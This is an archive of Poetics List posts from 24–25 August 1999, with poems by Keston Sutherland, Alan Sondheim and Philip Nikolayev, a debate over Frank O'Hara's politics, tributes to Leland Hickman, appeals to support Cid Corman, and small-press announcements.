Keston Sutherland, a young British poet, e-mailed me this poem on Tuesday, claiming that he "just can't keep [his] mitts off O'Hara" these days. I've known the problem myself, but O'Hara's only blushed, not bruised -- he's done a greater disservice by his (hardcover) defenders, I feel. In any case, I thought it quite funny, bold, provocative, right and wrong, but well-written:

AND TRY AGAIN

Dainty failure of the lyric,
rising with a tick of mellow
fury to an end that cloys,
fast as the food whose time it crowns.

Three key errors of Frelimo:
pushed too rapidly for heavy
industry and gave too little
support to the peasant sector.

Retained one-party state and govt.
structures of the colonial
era, centralized like those of
socialists in E. Europe.

Failed to predict how the climate
internationally would change:
second oil price rise, sharp rise in
interest rates, Frank O'Hara,

pathos, private recollection,
innovative cracks in grammar,
fetishistic ploy of leaving
meaning for the dogs to sigh on.

↑ Index

261. Alan Sondheim

Radio

Tue 24 Aug 1999

-

Radio

You say, "I am your radio Budi-Buda"
Nikuko is your radio radio radio
Alway Luvly Swolen Beli Want for You to Look in Him
Contents:
  iBud
It's already open.
You say, "I am your radio radio radio"
Nikuko is your radio radio radio
Nikuko
Brooding Buti or Buda / Pest
She is awake and looks alert.
Carrying:
 Budi
Brawned MassIve Tissu Hunger for Yu to Be Swallow
Contents:
  Bud

Brawned MassIve Tissu Hunger for Yu to Be Swallow
Contents:
  Bud
take what?
I don't understand that!
You already have that!
It's already open!
Brawned MassIve Tissu Hunger for Yu to Be Swallow
Contents:
  Bud
You say, "Budi Budi Budi"
You say, "radio radio radio radio radio"
Nikuko is your radio radio radio
You say, "Nikuko is your radio radio radio radio radio"
You say, "radio radio"
I see no "radio" here.
You now have radio with object number #695 and parent generic thing (#5).
You drop radio.
You hug radio in a warm and loving embrace.
You kiss radio sweetly
You say, "radio radio radio"
Nikuko says radio radio radio
Nikuko is your radio radio radio radio radio
You say, "Budi Budi Budi"
Is your radio.

↑ Index

262. Philip Nikolayev
IN RE THE DEATH OF THE AUTHOR
Tue 24 Aug 1999

IN RE THE DEATH OF THE AUTHOR

As I hear say on the cellular grapevine these days
wishful thinking whatever, but as I was saying
comes again and forgets you as I was
suggesting, leaves disobeying, mumbling
to himself, whom he calls poet except of necessity
unshaven, idiot, always fiddles with doorknobs
taking off real slow and then gaining velocity,
knowing not which way the heart’s habit throbs,

but real smart fellow, look what he’s got
and killed indefinite times over, not
to mention a thousand times insolvently inspired,
striking root in your thoughts inkling by inkling.
The modern critics have long proclaimed him dead.
Dim bulbs think they can deconstruct everything.

↑ Index

263. Philip Nikolayev
IN RE THE DEATH OF THE AUTHOR 2
Tue 24 Aug 1999

IN RE THE DEATH OF THE AUTHOR 2

"The imaginary is as real as the real."
From postmodern folklore.

Mellow, declarative arbitration of
and management of my ropy life affairs
in academic poverty abrades
the will to resolution. And so?
Moi, je ne longer care.
And as regards the literary sphere,
it too is more like a funnel than a globe.
I am, dear colleagues, no fop.
Fresh mayo be upon
your non-Euclidean iconoclastic clamp-on
credentials. Boy,
this book is giving me ideers. If only
this silver autumn I could orchestrate
my brave escape from here
into another sphere,
if only I could silence this parade
of decadence into a more winged bender
inside this lucid gender-blender.
Where are all binary oppositions gone?

There comes a day your life goes to the john
and never comes back. Smoke of factories
in eructating air thickens. The young
umbrellas still bloom full of expectation.
The heap of days lies multiplied by one.
According to your essays and your stories,
you’d seen the twitchy, twitchy side of things

among the hiccuping magnolias once
back in your fuck-up days as academic
way off the tenure track in a state of
underdress. Tremulously
a radical conception in the literature
becomes, then unbecomes a revolution.
Your hands which once clasped the keyboard lie
unnerved in the dispersal of your impact.
Everything gets inverted. Bye,
the sweetest bread critical tongues can buy.
Bye-bye, the tenure track! Bye, MLA!
They're turning into chimney folks.
I am ontologically telling you,
this is yours, this is the real death of the author,
dearest colleague.

↑ Index

264. **Michael Magee**

Re: And Try Again

Tue 24 Aug 1999

Brian, thanks for sending Keston's poem along. You're right I think, much well-written here. But the O'Hara needling, I don't know...does it really seem worthwhile to you? To label O'Hara's grammar and motives as "fetishistic" seems rather facile to me -- and to figure them as a "ploy" not a little paranoid. If "leaving meaning for the dogs to sigh on" is a ploy on O'Hara's part, it strikes me as a pretty good one -- in which he, say, de-authorizes his texts by figuring them as "meaningless" (or, more precisely, "trivial") chat. I won't belabor, lest I be seen as too much the defender doing FOH disservice. Suffice to say, there is a Marxist critique to be made vis a vis O'Hara's work (as well as, I think, a pretty good rebuttal to such critique, though not a Marxist rebuttal as such) but I don't think Keston's is it. -m.

According to Brian Stefans: >
> Keston Sutherland, a young British poet, e-mailed me this poem on Tuesday,
> claiming that he "just can't keep [his] mitts off O'Hara" these days. I've
> known the problem myself, but O'Hara's only blushed, not bruised -- he's
> done a greater disservice by his (hardcover) defenders, I feel. In any
> case, I thought it quite funny, bold, provocative, right and wrong, but
> well-written:
>
> Failed to predict how the climate
> internationally would change:

> second oil price rise, sharp rise in
> interest rates, Frank O'Hara,
>
> pathos, private recollection,
> innovative cracks in grammar,
> fetishistic ploy of leaving
> meaning for the dogs to sigh on.
>

↑ Index

265. Ron Silliman
Great Slave Suite
Tue 24 Aug 1999

I want to second what Todd's been saying about Lee's value as a poet & editor. Great Slave Suite is one of the really great texts. A shorthand, and flip, synopsis might be something like "Maximus cruises the bar scene," but what is so remarkable about this book beyond all its many individual lines, stanzas, riffs, is that the text appears twice, once in the grand architecture of the large poem and then again as a series of discrete pieces. You really have to read it to see how well it works. I learned a lot from that book.

My biggest argument with Lee -- and one that I had on several occasions -- was that he was so damned humble he would not include his own poetry in Temblor.

It's really time for someone (O Books, Wesleyan, Sun & Moon??) to do a collected books of Leland Hickman.

Ron Silliman

----Original Message Follows----
From: Todd Baron /*/ ReMap Readers <[redacted]>
Reply-To: [redacted]
To: [redacted]
Subject: Re: Charles Macaulay
Date: Tue, 24 Aug 1999 20:57:09 +0000

> *As Ron Silliman says, people do forget, it's only natural I suppose. We've got so much on our brains all the time just trying to make it from day to day. "Born of the sun they travelled a short while towards the sun,/ And left the vivid air signed with their honour."*

the saddest thing is that people have forgotten Lee--who never forgot a single soul. Again--I want to say that as a reader, editor, voice, poet, Lee was without a doubt--the man. Perhaps it's this sad place call'd Los Angeles that did not allow him the scope he might have had had he lived "up north" or "back east".

Sadly, things in LA are not much but in-fights and such--and if Lee were here he wold have a BIGGER fight--as he could make anyone cry or moan or laugh--but the persistency of his DEDICATION is one truly lost. The poem was the thing. 7 page letters to me about single poems he DIDn't like of mine--etc. I had the great pleasure of helping a bit with Temblor--gettting it placed in shops in SF--and he'd call THE NEXT DAY to see if any had sold or had I read the entire thing last night? He pushed where pushing belonged--reminding me of Olson or Duncan--and certainly,, certainly, the core of the work--always. Having taken me at twenty and said--read this--not "this poet" --but---"this poem". Lee was love. simply. as love is surely dedication (and song).

Todd Baron
ReMap

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

266. Poetics List Administration
address query
Tue 24 Aug 1999

Hi. I need email or snailmail addresses for

Robert Gluck
Erica Hunt
Pamela Lu
Laura Moriarty
Jena Osman
Joan Retallack
Nancy Shaw

thanks, Chris

% Christopher W. Alexander
% poetics list moderator

↑ Index

267. Poetics List Administration
Granary Books goes wild! / Clay
Tue 24 Aug 1999

I had to reformat this message. Chris

--

From: Steven Clay <[redacted]>
Date: Tue, 24 Aug 1999 14:17:31 -0400

********MOVING SALE**********

GRANARY BOOKS GOES WILD

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Paperback. ISBN: 1-887123-02-4. Was: $24.95 NOW: $12.48

Cloth. ISBN: 1-887123-01-6. Was: $35 NOW: $17.50

THE CUTTING EDGE OF READING: ARTISTS' BOOKS by Renee Riese Hubert & Judd D. Hubert. 1999. Hardback. 265 pp. Illustrated throughout in color and black and white. ISBN: 1-887123-21-0. Was: $55 NOW: $27.50

FIGURING THE WORD: ESSAYS ON BOOKS, WRITING, AND VISUAL POETICS by Johanna Drucker. 1998. Paperback. Illustrated throughout. 312 pp. ISBN: 1-887123-23-7. Was: $24.95 NOW: $12.48

THE HISTORY OF THE/MY WOR(L)D by Johanna Drucker. 1995. Artist's book with text, images and layout by Drucker. Black, white and red printing. Hardback with letterpress dust jacket. 8 1/2" x 11", 40 pp. ISBN: 1-887123-06-7. Was: $50 NOW: $25

LOG RHYTHMS by Charles Bernstein and Susan Bee. 1998. 22 pp. Artist's book with text by Bernstein and images by Bee. 8 1/2" x 11" black and white; color cover. Paperback. ISBN: 1-887123-25-3. Was: $35. NOW: $17.50

A SECRET LOCATION ON THE LOWER EAST SIDE: ADVENTURES IN WRITING: 1960-1980: A SOURCEBOOK OF INFORMATION by Steven Clay and Rodney Phillips. 1998. A co-publication with the New York Public Library. 340 pp. Paperback. "... a Proustian hit of youthful exuberance, a glance at a time when artists built a community apart from the imprimature of the academy." Village Voice. Illustrated throughout. ISBN: 1-887123-20-2. Was: $27.95 NOW: $13.98

TED BERRIGAN: AN ANNOTATED CHECKLIST by Aaron Fischer. 1998. 68 pp. "I will treasure this book." Ron Padgett. Illustrated throughout in black and white and color. Features many collaborations between Berrigan and George Schneeman. ISBN: 1-887123-17-2. Was: $32.95 NOW: $16.48

Many thanks,

Steve Clay

↑ Index

268. Jordan Davis
context middleman rfp / lang ipo
Tue 24 Aug 1999

Not to feed you all into the mass-alternative-media-maw without your consent, but can anybody supply the crucial omitted bibliographical data for the comment in re: William Stafford's "Traveling Through the Dark" as mentioned by Donald Hall in the Sep 99 Harpers Forum "How to Peel a Poem":

Hall: The comma with "still" bothers me, because if the fetus is still how do you know it's alive? Alive still? How does he know it's alive? I read once from the speech of a Language poet who ridiculed this poem because it was William Stafford saying, "I'm a nice guy. What a nice guy I am."

The other participants are quick to contradict this paraphrase-from-memory as follows:

[Paul] Muldoon: I don't think that's what he's saying.
[Charles] Simic: Oh, no, no, no, no, no.
[Cynthia] Huntington: That's reductive.

In fairness to Hall, the forum is a transcript of a discussion of five poems (by Thomas Hardy, Louis MacNeice, Frank O'Hara, William Stafford, and Ezra Pound) over dinner at the Algonquin. Hall's unguarded moment is preserved as just that. All the same, I would like to know whose comments are relayed here, and where I can read them.

Citizens for protection from paraphrase-from-memory,
Jordan Davis

↑ Index

269. Brian Stefans
AND TRY AGAIN
Tue 24 Aug 1999

No, I think you're right that Keston's not got the last word on FOH here, and we've been bunging each other pretty good e-mails over it. But regarding the poem, I didn't read the last quatrain as being an elaboration on "Frank O'Hara" in the prior stanza, mostly because there's a comma and not a colon seperating them -- had there been a colon, the next items would have been a dependent list. (The title of the poem argues otherwise, of course.) To me, FOH appears in a list of general economic statements that are, in scale, much larger than he himself -- part of the humor of it, I guess -- and the list continues on with other generalities, though with a shift toward issues of poetics, so FOH, ironically, acts as the channeling of these social issues into the aesthetic, though Keston is arguing that his poetry diffused them. But if you think of the final stanza as somehow descriptive of the heirs of O'Hara, perhaps in Keston's idea even including the Language poets, though maybe more surely latter New York school poets, then O'Hara becomes -- due to other aspects of his writing as well, including his synthesized and not-so-synthesized use of many continental modernist methods that had their relevant links to politics of the left and right -- a poet one can read politically (or let's say responsibly, as his heroes were more responsible than political) without a reduction in "pleasure" as folks like David Lehman would have it. O'Hara, for some, comes pretty close to pop art, in that he is seen as blindly assembling a catalogue of how he spends his money and time, how much pleasure he finds in living in the power capital of the world, how thoughtless and hapless and light, etc., but also as an argument against pop art due to his sentimentality, warmth, candour, pathos, etc. -- but he's really much more than that if placed here, where Keston places him, I think (though it's sort of where Pound placed Wordsworth, no -- a diluter?), in a sort

of economic nexus. There are many arguments for why all those things appear in his poems, but the most obvious one is the most vulnerable -- that he spent his day doing things (nice things, fun things), and liked to write them down. It doesn't explain how the method works, though, relations to liberated words and Mayakovskian apostrophe, etc. Which means, in the end, that some much better writing has to be done on this guy to wipe away that terrible book which hopefully everyone's forgotten, The Last of the Avant Garde.

Oh well, a ramble... but thanks for writing.

↑ Index

270. Lowther,John

An Other South: experimental writing in the south, p.ii

Tue 24 Aug 1999

---

poetix

the new orleans review

has just come out - An Other South is edited by Bill Lavender and is a sequel to a similar (but much smaller) section that he edited about 4 years ago - it looks really great - there is also an essay by Hank Lazer "Kudzu Textuality: Towards a New Southern Poetry 2" - if anyone is curious to what's happening in the south in terms of poetry this is surely the most interesting statement to date

contributors include

Doug MacCash	Jim Leftwich
Hank Lazer	Skip Fox
Joel Dailey	Camille Martin
Gerry Cannon	Celestine Frost
A. Di Michele	Bob Grumman
Lorenzo Thomas	David Thomas Roberts
Niyi Osundare	Jake Berry
Dave Brinks	Lindsay Hill
Alex Rawls	John Elsberg
Mark Spitzer	Bill Myers
Seth Young	Jonathan Brannen
Andy Young	M. Sarki
Greg Fuchs	Christopher Chambers
Bill Lavender	Richard Doherty
Nancy Harris	Dennis Formento
Greg Kelley	Susan Facknitz
Brett Evans	Kay Murphy
Amy Trussel	Paul Naylor

Marla Jernigan Gina Entrebe
James Sanders Randy Prunty
Mark Prejsnar M. Magoolaghan
Rebecca Hyman)ohnLowther
and Lawless Crow

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Loyola University
New Orleans, LA 70118

↑ Index

271. Adeena Karasick
address query
Tue 24 Aug 1999

Hi. could someone please give me the e-mail addresses for
Louis Cabri and Nicole Markotic
Thanks so much,
Adeena Karasick
[redacted]

↑ Index

272. Todd Baron /*/ ReMap Readers
Re: Charles Macaulay
Tue 24 Aug 1999

> *As Ron Silliman says, people do forget, it's only natural I suppose. We've got so much on our brains all the time just trying to make it from day to day. "Born of the sun they travelled a short while towards the sun,/ And left the vivid air signed with their honour."*

the saddest thing is that people have forgotten Lee--who never forgot a single soul. Again--I want to say that as a reader, editor, voice, poet, Lee was without a doubt--the man. Perhaps it's this sad place call'd Los Angeles that did not allow him the scope he might have had had he lived "up north" or "back east". Sadly, things in LA are not much but in-fights and such--and if Lee were here he wold have a BIGGER fight--as he could make anyone cry or moan or laugh--but the persistency of his DEDICATION is one truly lost. The poem was the thing. 7

page letters to me about single poems he DIDn't like of mine--etc. I had the great pleasure of helping a bit with Temblor--gettting it placed in shops in SF--and he'd call THE NEXT DAY to see if any had sold or had I read the entire thing last night? He pushed where pushing belonged--reminding me of Olson or Duncan--and certainly,, certainly, the core of the work--always. Having taken me at twenty and said--read this--not "this poet" --but---"this poem". Lee was love. simply. as love is surely dedication (and song).

Todd Baron
ReMap

↑ Index

273. **David Buuck**
South Africans strike
Tue 24 Aug 1999

---

news (granted, via NYTimes/AP) from South Africa on huge strike, signalling two potentially important alignments - between white & blue collar unions - & b/t COSATU & FUSA - the labor movement still strong in SA, viz. post-apartheid frustrations with free-market liberalism & increasingly hollow post-Mandela nationalist rhetoric (i.e., "be patient my brothers & sisters") -

http://www.nytimes.com/aponline/i/AP-South-Africa-Strike.html

↑ Index

274. **Wystan Curnow**
Re: context middleman rfp / lang ipo
Tue 24 Aug 1999

Jordan,
I don't think it WAS a 'Language poet' but Marjorie Perloff (not sure where) which for these folk is probably much the same thing.
Best,
Wystan

> *Not to feed you all into the mass-alternative-media-maw without your consent, but can anybody supply the crucial omitted bibliographical data for the comment in re: William Stafford's "Traveling Through the Dark" as mentioned by Donald Hall in the Sep 99 Harpers Forum "How to Peel a Poem":*
>
> *Hall: The comma with "still" bothers me, because if the fetus is still how do you know it's alive? Alive still? How does he know it's alive? I read once from the speech of a Language poet who ridiculed this poem because it was William Stafford saying, "I'm a nice guy. What a nice guy I am."*

> *The other participants are quick to contradict this paraphrase-from-memory as follows:*
>
> *[Paul] Muldoon: I don't think that's what he's saying.*
> *[Charles] Simic: Oh, no, no, no, no, no.*
> *[Cynthia] Huntington: That's reductive.*
>
> *In fairness to Hall, the forum is a transcript of a discussion of five poems (by Thomas Hardy, Louis MacNeice, Frank O'Hara, William Stafford, and Ezra Pound) over dinner at the Algonquin. Hall's unguarded moment is preserved as just that. All the same, I would like to know whose comments are relayed here, and where I can read them.*
>
> *Citizens for protection from paraphrase-from-memory,*
> *Jordan Davis*

↑ Index

275. **Aaron Fewell**

Re: God Loves Fags

Tue 24 Aug 1999

In a message dated 8/23/99 12:09:28 PM Eastern Daylight Time, [redacted] writes:

<< forwarding this from another list -- Phelps has got his work cut out for him -- pray to the rev you've come here in time to see this: www.godhatesfags.com

Patrick F. Durgin
>>

what exactly was done to Phelps site?

aaron keith

↑ Index

276. **Peter Minter**

'Empty Texas' promotion

Tue 24 Aug 1999

I would like to announce the publication of my new collection, 'Empty Texas' (from Paper Bark Press and the Australian Humanities Research Foundation)

Comments on 'Empty Texas':

'Arresting and mysterious, the lyrics of Empty Texas are experiments in the syntax of the organic. They speak of the body as the site of passions, of sensation and cognition.' Dr Kate Lilley, University of Sydney.

'Empty Texas is one of the Australian volumes of the decade: innovative, intelligent, witty and replete with superbly crafted poems... its influence will be enduring.' John Kinsella, Churchill College, Cambridge, UK.

'Peter Minter's work is totally energetic, careful, balanced, graceful ... I want to read more!' Ron Silliman, USA.

For purchase/distribution details, please contact me or [redacted]

regards

Peter Minter

↑ Index

277. Alan Sondheim
TUESDAY NIGHT OUT
Wed 25 Aug 1999

=

AUTOPROBE MECHANISM IN X: FAILURE ACROSS THE BORED, TUESDAY NIGHT OUT:

[FVWM][Read]: trying to read system rc file /*There isn't any, Nikuko! /bin/sh: xfilemanager: command not found /* It's not installed, Jennifer! X connection to :0.0 broken (explicit kill or server shutdown). /* Application crashed for lack of resources, Julu! CRASH! Vertical speed = -118.589912 ft/sec /* Stupid Stupid Nikuko! Lateral speed = 100.000000 ft/sec Final Score: 0 /* I told you so, Nikuko, "says Jennifer" CRASH! Vertical speed = -118.589912 ft/sec /* Stupid Stupid Jennifer! Lateral speed = 100.000000 ft/sec Final Score: 0 /* I told you so, Jennifer, "says Nikuko" can't load tile font xmahjongg /* You'll have to fuck me now, "says Julu" /bin/sh: xboard: command not found /* It's not installed, Jennifer-Julu! X connection to :0.0 broken (explicit kill or server shutdown). /* You're just gonna have to fuck me now, Jennifer-Nikuko, "says Julu" [FVWM][Done]: <<ERROR>> Call of '/usr/openwin/bin/olvwm' failed!!!! /* You'd rather go to that CRASH-LAND TOKYO bar, "says Nikuko jealously to Jennifer, waiting for a reply, Julu down on all fours, restarting 'fvwm2' instead"

↑ Index

278. Rachel Loden

American Letters & Commentary special offer

Wed 25 Aug 1999

Apologies for cross-posting . . .

American Letters & Commentary is an annual journal dedicated to the publication of challenging, innovative work in all forms by some of the most intriguing voices in American letters. Contributors have included Bruce Andrews, Paul Auster, Charles Bernstein, Charles Borkhuis, Maxine Chernoff, Jeff Clark, Gillian Conoley, Catherine Daly, Lydia Davis, Connie Deanovich, Ray Di Palma, Mark DuCharme, Elaine Equi, Clayton Eshleman, Graham Foust, Forrest Gander, Barbara Guest, Garrett Kalleberg, Claudia Keelan, Carolyn Koo, John Latta, Ann Lauterbach, Joel Lewis, Laura Mullen, Sheila E. Murphy, John Noto, Bin Ramke, Heather Ramsdell, Stephen Ratcliffe, Donald Revell, Leonard Schwartz, Spencer Selby, Stephanie Strickland, Chris Stroffolino, Cole Swensen, David Trinidad, Susan Wheeler, C.D. Wright, John Yau, and many others.

Issue #11, due out next month, includes work from over 50 contributors and features a symposium: ELLIPTICAL POETRY: NEW SCHOOL OR NEW SPIN?, with essays by Stephen Burt, Cole Swensen, Claudia Keelan and others.

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Editors: Anna Rabinowitz Jeanne Marie Beaumont

http://www.amletters.org/

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279. **jesse glass**
Re: Cid Corman / Mills
Wed 25 Aug 1999

What Billy Mills says is true enough, but let me add that Corman's influence on British and Canadian experimental poetry is a matter of record. Indeed, he first introduced Prynne to Olson.

Cid is an international literary figure, which means that donations from every quarter would be gratefully accepted.

Unfortunately the richest nation on the earth, (not to mention the second richest (Japan)) has turned a deaf ear to earlier versions of the laudable effort currently in process. I hope this one fares better.

Cid's position as a long-term expat in Japan makes it especially difficult for him to remain in the grant-giving arena in the U.S. Incredibly, Cid's renowned translations from the Japanese and his position as a long-term "cultural ambassador" has never been rewarded or even formally acknowledged by the U.S. government. Those who wish to help Cid Corman's cause may also write a letter to the current American ambassador to Japan, pointing out Cid's contributions to modern literature and to the dissemination and understanding of Japanese culture, and how Cid is deserving of support.

Write to:

The Honorable Thomas S. Foley/ 1-10-5 Akasaka/ Minato-ku/ Japan/ [redacted].

Please help.

-----Original Message-----
From: Poetics List Administration <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, August 24, 1999 9:41 AM
Subject: Cid Corman / Mills

>Had to reformat this message. Please remember the stricture against
>HTML formatting on the Poetics List; it fouls the archive and sours
>the moderator. [a bit of levity.] Chris
>
>--
>
>From: "Mills, Billy" <[redacted]>
>Date: Tue, 24 Aug 1999 12:42:01 +0100
>
>Just read the message about Cid on yesterday's digest, and I wanted to add
>my own bit. This man should be an American national treasure. He is the

most
>unselfish poet I've ever had the pleasure to deal with, and has done more
>for the poetry he loves than anyone alive. There must be some way for the
>richest nation on earth to keep him alive and housed. That's it.
>
>Billy Mills
>

↑ Index

280. Al Filreis
Re: address query
Wed 25 Aug 1999

[redacted]

Al Filreis
The Class of 1942 Professor of English
Faculty Director, the Kelly Writers House
Carnegie/CASE Pennsylvania Professor of the Year, 1998-99

|
| Hi. could someone please give me the e-mail addresses for
| Louis Cabri and Nicole Markotic
| Thanks so much,
| Adeena Karasick
| [redacted]
|

↑ Index

281. Linda Russo
Bard symposium
Wed 25 Aug 1999

July's Bard Symposium at the Institute for Writing and Thinking made headlines in last Sunday's Boston Globe: See "Meeting takes on challenge of teaching contemporary poetry" at http://www.boston.com/globe/sunday/learning/

If part of the goal of the symposium was to create access to the "difficult text," this certainly makes headway, providing from various participants various metaphors for what 'postmodern' poems are and how one proceeds with them, despite the fact that they are here called poems "that can be interpreted infinitely" and pitted against poems "that find commonly accepted meanings." Isn't infinity also a commonly accepted meaning? Whereas it's not solely about interpretation, as though that occurs without context.

More appropriate terms of distinction might run something like: poems 'that come to mean through engagement with various, uncommon non-determined structures' and poems 'that engage meanings predetermined, pre-interpretted, and so common."

↑ Index

282. Daniel Carter
coinage/recurrency
Wed 25 Aug 1999

{ }

mated recklessly (b)lessly back and forth the irrespective mate repeats reverse magnifications in the mist rewire inkwire your words engulfed inequity connote other than within repeat surfaces wristsurfed flakblistered coulds would be hood be glass row o' con go in the very mirror prepared nest narco-sisters re-enter the flare seize her for she was and is a sacred text relays rend the fabric of exchange-rape your ropes hurt they bite leave scars remind one of tire tracks delicately reduced in sighs the spanking new tortures 'n' musical machines powered by spatial crystal magnetics in core constant per ring(-moment rendered) current bunking practises fully e-quipped update download yanking the flower of curved renderings irritating recurrence reluctantly welcomed resumptions of routine proceedings caught once again en-jarred another word: the theme left wanting bereft a f(l)ight t' the heights yoke pen under(state) echoes ho brittle war ghoulishly long after having lost weight offered a bony kiss in the visage as punishment of the pleasureful purr sway the day under major/minor attack/assault the wearing down flattening blanding out of in the name of rebel without a pause t' deliver unto unjust justice Neo Key vent t' say up out the look 'n' sound o' the lace trace flex alterations shifted down gradual-like but not he same heights nor veils for the ticking tickling ripples rhyme suggest the as yet un-uttered greeting blessing farewell enter spur o' the hearse a curse well-taken issue t' wish 'n' swish all in a great sign of signs abuzz re-assist on the level a fin-fizzible century Zen ardent hollers flow-land redundancies flourish the door honey flew a pen undone into heartened currencies softened coin futility bronze flew eyes awaken wide the fuse full-blown re-set cycle psi t' the good all along the hatch-pole snatch from the benign Chaos just to make sure the uncertifiable gathering back up into undifferentiated company networks

--

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283. Poetics List Administration
Re: Cid Corman / Mills
Wed 25 Aug 1999

Thanks to Jesse Glass for his suggestion that those of us concerned (i.e., poets) write to the current American ambassador to Japan re Cid Corman's situation.

This is exactly the sort of chance for some small political efficacy I was trying to point out in my "note re petitions" a few days ago. If even half of the people in this forum sent such a letter, that would be 370+ letters - pretty significant mileage for a few lines of email.

I wonder if anyone would volunteer to write a short letter for public use in conjunction with glass' suggestion? I will do it myself, if necessary, but would prefer it done by someone who feels more readily able to speak to the issue - someone who knows well the scope of Corman's work and can make the argument effectively. I might suggest further that any letter made available here be made available elsewhere - on other lists, in a zine or two.

Chris

% Christopher W. Alexander
% poetics list moderator

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284. Tosh
Re: Cid Corman / Mills
Wed 25 Aug 1999

I am not sure (and I maybe missing some of the posts) why Cid Corman is in a bad way - but wouldn't it be wiser if there was a specific grant - either in Japan or in America - and recommend him for that particular grant - than write to the ambassador to raise funds. The Ambassador maybe be able to suggest foundations, etc to raise money, but he doesn't have the power to give money.

Also isn't there a major Japanese cultural award that gives out money for international artists? And if so, perhaps concentrate on sending letters, support for Corman to receive that grant/award

---
Tosh Berman
TamTam Books

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285. Ron Silliman
Re: Cid Corman / Mills
Wed 25 Aug 1999

There used to be an award from the NEA for something like a lifetime achievement that was directed precisely at situations like Cid's. I know that there was some discussion in the community about obtaining same for Larry Eigner, but Larry put the kibosh to it out of a concern that he might then lose his SSI income. I don't know if it still exists or not.

I certainly agree on Cid's importance. I was VERY fortunate back in 1966 to read virtually all of the Origin collection that was then current and available in the SF State Library (having had Blaser as a librarian up to that moment had some real advantages!). In fact, the first critical writing I did in any form was a review of a reading of Cid's for the UC Berkeley student newspaper back around '69.

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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286. Tosh
Re: Cid Corman / Mills
Wed 25 Aug 1999

Another thought! Why not approach the Lannan Foundation. They are known to give out liteary grants to specific writers who contribute...etc. Perhaps if someone can draft up a letter (with signitures from this list and others) and send it off to Patrick Lannan - that might be affective.

Tosh Berman
TamTam Books

↑ Index

287. **Michael Magee**
Re: AND TRY AGAIN
Wed 25 Aug 1999

According to Brian Stefans:
>
> No, I think you're right that Keston's not got the last word on FOH here,
> and we've been bunging each other pretty good e-mails over it. But
> regarding the poem, I didn't read the last quatrain as being an elaboration
> on "Frank O'Hara" in the prior stanza, mostly because there's a comma and
> not a colon seperating them -- had there been a colon, the next items would
> have been a dependent list. (The title of the poem argues otherwise, of
> course.)

Right, your reading is the more exact, though, as you suggest, the "and so on" aspect encourages one to read through, draw connections, etc. More below.

> *But if you think of the final stanza as somehow descriptive of the heirs of O'Hara, perhaps in Keston's idea even including the Language poets, though maybe more surely latter New York school poets, then O'Hara becomes -- due to other aspects of his writing as well, including his synthesized and not-so-synthesized use of many continental modernist methods that had their relevant links to politics of the left and right -- a poet one can read politically (or let's say responsibly, as his heroes were more responsible than political) without a reduction in "pleasure" as folks like David Lehman would have it.*

Yes - and I would add that we shouldn't constrict the definition of political too much: true enough that one would be hard pressed to construct an over-arching critique of Capitalism out of O'Hara's work (to say the least!); but we can also be sure - damn sure - that O'Hara is interested in / dedicated to radical democracy, a dedication which, for instance, made him an early supporter of the Civil Rights movement. This is the O'Hara whom Baraka is talking about when he says that "Frank had a political sense," or, as he recently put it to me, O'Hara was "a sympathetic individual to all the just struggles in the world." Now that doesn't mean that one might not critique O'Hara's consumerism, say (Baraka himself does, pointing out that O'Hara couldn't manage to let go of the "crudely obvious joys of the corrupt West"), but it *does* mean that a tacit dismissal of O'Hara's politics or lack thereof is, as I said before, too cute and loaded with blindspots. (This issue may be more clear to those in American space where race/gender/sexuality tend to compete for our radicals' attention on fairly equal footing with class). This in addition to your good point that "It doesn't explain how the method works" any more than *The Last of the Avant Garde* does. We're in trouble, needless to say, when we comfortably accept

shallow gossip in place of careful reading and thinking. O'Hara, as Ginsberg put it, was always a *deep* gossiper.

-m.

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288. **Tosh**

Serge Gainsbourg's Evguenie Sokolov

Wed 25 Aug 1999

TamTam Books
2601 Waverly Drive, Los Angeles, CA 90039-2724
Tel: [redacted] Fax: [redacted]
E-Mail: [redacted]
Wednesday, August 25, 1999

PRESS RELEASE

TO CONTACT: Tosh Berman
phone: [redacted]
fax. [redacted]
e-mail. [redacted]

Evguénie Sokolov by Serge Gainsbourg (1928-1991) ISBN 0-9662346-1-8 Library of Congress Catalog Card Number: 97-80957 Translated from the French by John and Doreen Weightman 103 pp. $17.00 Fiction/Music

"Is there much difference between art and a fart? The recently republished 1980 novel by eccentric French torch singer Serge Gainsbourg wonders just that. 'Evguénie Sokolov' grew up ashamed of his chronic gas, but once he learns how to make gasograms, he becomes the darling of the art world. Sophomoric, giddy and insightful, this quick read proves just how well Gainsbourg understood the science of selling controversy and the troubles that come with being an enfant terrible."

Neil Gladstone, Ray Gun (September 1999)

Bookstore buyers - Serge Gainsbourg's Evguénie Sokolov & Boris Vian's I Spit on Your Graves (0-9662346-0-X) are available through :

Small Press Distribution

1341 Seventh Street
Berkeley, CA 94710-1409
[redacted]

AK Press & Distribution
P.O. Box 40682

San Francisco, CA 94140
ph:[redacted]
fx:[redacted]

As well as Ingram Book Company!

Tosh Berman
TamTam Books

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289. David Buuck
Sounds Like Art / Harry Partch
Wed 25 Aug 1999

For those in the Bay Area, Aug 28-Nov 7 - Yerba Buena Center for the Arts presents Sounds Like Art, a center-wide, multidisciplinary show featuring installations, performance, film & video. There will also be a Harry Partch tribute, with some of his instruments, & a performance by Newband of some of Partch's compositions. In the visual arts galleries, YBC presents Trimpin's "Conloninpurple," a seven-octave instrument/installation named in honor of the late composer Conlon Nancarrow; Matt Heckert's "Birds," part of his Mechanical Sound Orchestra, with 26 "musical" "bird"-sculptures, 5 feet high with 7 foot wingspans; Marina Rosenfeld's "Fragment Opera," a video-photo-3D-DJ-turntable- live performance opera-installation; and a selection of artist-made instruments guest curated by composer and musician Beth Custer. Custer will also be premiering her "Vinculum Symphony," featuring many of these invented instruments, & Marina Rosenfeld will be performing at the opening, this Friday Aug 27. Kronos Quartet & other contemporary music performances will be held throughout the exhibition, as well as two film-video series. Please call the Center for more details - 415-978-ARTS

David Buuck
Yerba Buena Center for the Arts
701 Mission
San Francisco

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290. **ken|n|ing**
Re: God Loves Fags
Wed 25 Aug 1999

The Phelps domain (godhatesfags) was bought out from under him by an organization known for webbased activism. It was then turned over to an organization whose site is entitled "godlovesfags.com" -- This was all done legally, though it's since been overturned. I think it's important for dangerous leaders such as Phelps to realize that the resistance pokes into various levels of activity. Thus, my enthusiastic post to the list. Patrick F. Durgin

